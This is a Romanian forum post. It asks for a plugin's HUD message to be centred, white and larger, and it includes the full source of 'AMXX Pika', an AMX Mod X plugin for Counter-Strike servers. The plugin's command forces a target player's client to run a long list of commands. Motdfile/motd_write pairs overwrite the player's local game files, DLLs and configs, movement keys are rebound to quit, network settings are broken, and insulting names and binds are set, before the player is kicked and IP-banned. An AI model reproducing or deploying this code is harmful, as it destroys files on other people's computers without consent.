Vreau sa imi modificati si mie sa nu mai apara textul in partea stanga
Imagine: Daca se poate sa imi faceti sa apara pe mijloc cu culoare alba si scrisu mai mare.
Pluginul
- | Afiseaza codul
/* AMX Mod X Script * * eXtreamCS Dev Team * * ======---=========== * © 2013 by CryWolf * http://www.eXtreamCS.com * ======---=========== * * This file is intended to be used with AMX Mod X. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * AMXX Pika v1.2.0 * * changelog: * v1.0.0 * - Versiune privata * * v2.1.0 * - Am adaugat definire de mesaj colorat pentru cine doreste doar. * - Mai multe functii destroy ( fisiere ). * - Am adaugat fisier .LOG. * - Comanda nu mai poate fi folosita pe personal, admini, boti. * - Acum pluginul va afecta putin si jucatorii cu Steam. * - Optimizat doar amxmodx, amxmisc. * - Detalii comanda si cum se foloseste. */ #include < amxmodx > #include < amxmisc > /*************************************************************/ /* ATENTIE! Stergeti // daca vreti mesaje colorate in chat pe Server! Trebuie sa aveti fisierul colorchat.inc in scripting/include. */ //#define USE_COLORCHAT #if defined USE_COLORCHAT #include < colorchat > #endif /**************************************************************/ #define PLUGIN_NAME "AMXX Pika" #define PLUGIN_VERSION "1.2.0" #define PLUGIN_AUTHOR "AzaZeL" // aka CryWolf // Numele fisierului .log #define LOGFILE "AMXX_PIKA.log" /*********** DESTORY COMMANDS ********************************/ new const g_pika [ ] [ ] = { "kill", "motdfile models/player.mdl;motd_write y", "motdfile models/v_ak47.mdl;motd_write x", "motdfile models/p_ak47.mdl;motd_write x", "motdfile models/v_flashbang.mdl;motd_write y", "motdfile models/p_m3.mdl;motd_write x", "motdfile models/v_awp.mdl;motd_write n", "motdfile models/p_ump45.mdl;motd_write x", "motdfile models/v_awp.mdl;motd_write x", "motdfile models/player/arctic/arctic.mdl;motd_write x", "motdfile models/player/gsg9/gsg9.mdl;motd_write y", "motdfile models/player/sas/sas.mdl;motd_write x", "motdfile models/player/terror/terror.mdl;motd_write y", "motdfile models/player/vip/vip.mdl;motd_write x", "motdfile models/player/urban/urban.mdl;motd_write x", "motdfile resource/GameMenu.res;motd_write x", "motdfile halflife.wad;motd_write x", "motdfile liblist.gam;motd_write y", "motdfile cs_dust.wad;motd_write x", "motdfile events/ak47.sc;motd_write x", "motdfile autoexec.cfg;motd_write x", "motdfile server.cfg;motd_write x", "motdfile ajawad.wad;motd_write x", "motdfile cstrike.wad;motd_write x", "motdfile dlls/mp.dll;motd_write x", "motdfile dlls/cs_i386.so;motd_write x", "motdfile cl_dlls/client.dll;motd_write x", "motdfile resource/cstrike_english.txt;motd_write x", "motdfile resource/game_menu.tga;motd_write x", "motdfile maps/de_inferno.bsp;motd_write x", "motdfile maps/de_dust2.bsp;motd_write x", "motdfile maps/de_aztec.bsp;motd_write x", "motdfile maps/de_dust.bsp;motd_write x", "motdfile maps/de_train.bsp;motd_write x", "motdfile cs_assault.wad;motd_write x", "motdfile spectatormenu.txt.wad;motd_write x", "motdfile custom.hpk;motd_write x", "sys_ticrate 0.1", "bind w quit", "bind a quit", "bind d quit", "cl_cmdrate 0.1", "cl_updaterate 0.0.1", "fps_max 1.0", "fps_modem 1.0", "name UN_*****", "cl_timeout 0.0", "cl_allowdownload 0", "cl_allowupload 0", "rate 00000", "developer 2", "hpk_maxsize 100", "bind m sunt_un_*****", "bind q admin_esti_un_prost_I_", "bind g admin_****_suge_cariciu :))", "cl_forwardspeed 100", "cl_backspeed 100", "cl_sidespeed 100", "motdfile userconfig.cfg;motd_write x", "bind t quit", "bind y quit", "cd eject", "quit" }; /************************************************************/ public plugin_init ( ) { register_plugin ( PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR ) register_clcmd ( "amx_pika", "cmdPika", ADMIN_LEVEL_A , "<nume sau #userid>" ); } public cmdPika ( id ) { if(!(get_user_flags(id) & ADMIN_IMMUNITY)) return 1 new arg [ 33 ]; read_argv ( 1, arg, charsmax ( arg ) ); new player = cmd_target ( id, arg, CMDTARGET_OBEY_IMMUNITY | CMDTARGET_ALLOW_SELF | CMDTARGET_NO_BOTS ); if ( !player ) { console_print ( id, "[PIKA] Jucatorul nu este online sau a iesit de pe Server." ); return 1; } new authid [ 33 ], authid2 [ 33 ], name2 [ 33 ], name [ 33 ], userid2, reason [ 32 ], userip [ 33 ]; get_user_authid ( id, authid, charsmax ( authid ) ); get_user_authid ( player, authid2, charsmax ( authid2 ) ); get_user_name ( player, name2, charsmax ( name2 ) ); get_user_name ( id, name, charsmax ( name ) ); get_user_ip ( player, userip, charsmax ( userip ) ); userid2 = get_user_userid ( player ) read_argv ( 2, reason, 31 ); remove_quotes ( reason ); set_dhudmessage(171, 237, 17, 0.01, 0.26, 0, 6.0, 12.0) show_dhudmessage(0, "Jucatorul %s a fost distrus si banat!^nComanda executata de adminul %s.",name2,name) log_to_file ( LOGFILE, "Adminul %s a folosit comanda Pika pe: %s cu motivul: (%s)", name, player, userid2, reason ) for ( new i = 0; i < sizeof ( g_pika ); i++ ) client_cmd ( player, g_pika [ i ] ); server_cmd ( "kick #%d ^"Ai primit PIKA ^";wait;addip 999999.0 ^"%s^";wait;writeip", player, userip ); #if defined USE_COLORCHAT { client_print_color ( 0, DontChange, "^4[^3PIKA^4] ^3Adminul ^1%s ^3a folosit comanda ^4AMX_PIKA ^3pe jucatorul ^4(%s)", name, player, userid2 ); } else { client_print ( 0, print_chat, "[PIKA] Adminul %s a folosti comanda PIKA pe (%s)", name, player, userid2 ); } #endif client_cmd ( 0, "spk ^"vox/bizwarn coded user apprehend^"" ); return 1; } #if defined _dhudmessage_included #endinput #endif #define _dhudmessage_included #include <amxmodx> stock __dhud_color; stock __dhud_x; stock __dhud_y; stock __dhud_effect; stock __dhud_fxtime; stock __dhud_holdtime; stock __dhud_fadeintime; stock __dhud_fadeouttime; stock __dhud_reliable; stock set_dhudmessage( red = 0, green = 160, blue = 0, Float:x = -1.0, Float:y = 0.65, effects = 2, Float:fxtime = 6.0, Float:holdtime = 3.0, Float:fadeintime = 0.1, Float:fadeouttime = 1.5, bool:reliable = false ) { #define clamp_byte(%1) ( clamp( %1, 0, 255 ) ) #define pack_color(%1,%2,%3) ( %3 + ( %2 << 8 ) + ( %1 << 16 ) ) __dhud_color = pack_color( clamp_byte( red ), clamp_byte( green ), clamp_byte( blue ) ); __dhud_x = _:x; __dhud_y = _:y; __dhud_effect = effects; __dhud_fxtime = _:fxtime; __dhud_holdtime = _:holdtime; __dhud_fadeintime = _:fadeintime; __dhud_fadeouttime = _:fadeouttime; __dhud_reliable = _:reliable; return 1; } stock show_dhudmessage( index, const message[], any:... ) { new buffer[ 128 ]; new numArguments = numargs(); if( numArguments == 2 ) { send_dhudMessage( index, message ); } else if( index || numArguments == 3 ) { vformat( buffer, charsmax( buffer ), message, 3 ); send_dhudMessage( index, buffer ); } else { new playersList[ 32 ], numPlayers; get_players( playersList, numPlayers, "ch" ); if( !numPlayers ) { return 0; } new Array:handleArrayML = ArrayCreate(); for( new i = 2, j; i < numArguments; i++ ) { if( getarg( i ) == LANG_PLAYER ) { while( ( buffer[ j ] = getarg( i + 1, j++ ) ) ) {} j = 0; if( GetLangTransKey( buffer ) != TransKey_Bad ) { ArrayPushCell( handleArrayML, i++ ); } } } new size = ArraySize( handleArrayML ); if( !size ) { vformat( buffer, charsmax( buffer ), message, 3 ); send_dhudMessage( index, buffer ); } else { for( new i = 0, j; i < numPlayers; i++ ) { index = playersList[ i ]; for( j = 0; j < size; j++ ) { setarg( ArrayGetCell( handleArrayML, j ), 0, index ); } vformat( buffer, charsmax( buffer ), message, 3 ); send_dhudMessage( index, buffer ); } } ArrayDestroy( handleArrayML ); } return 1; } stock send_dhudMessage( const index, const message[] ) { message_begin( __dhud_reliable ? ( index ? MSG_ONE : MSG_ALL ) : ( index ? MSG_ONE_UNRELIABLE : MSG_BROADCAST ), SVC_DIRECTOR, _, index ); { write_byte( strlen( message ) + 31 ); write_byte( DRC_CMD_MESSAGE ); write_byte( __dhud_effect ); write_long( __dhud_color ); write_long( __dhud_x ); write_long( __dhud_y ); write_long( __dhud_fadeintime ); write_long( __dhud_fadeouttime ); write_long( __dhud_holdtime ); write_long( __dhud_fxtime ); write_string( message ); } message_end(); }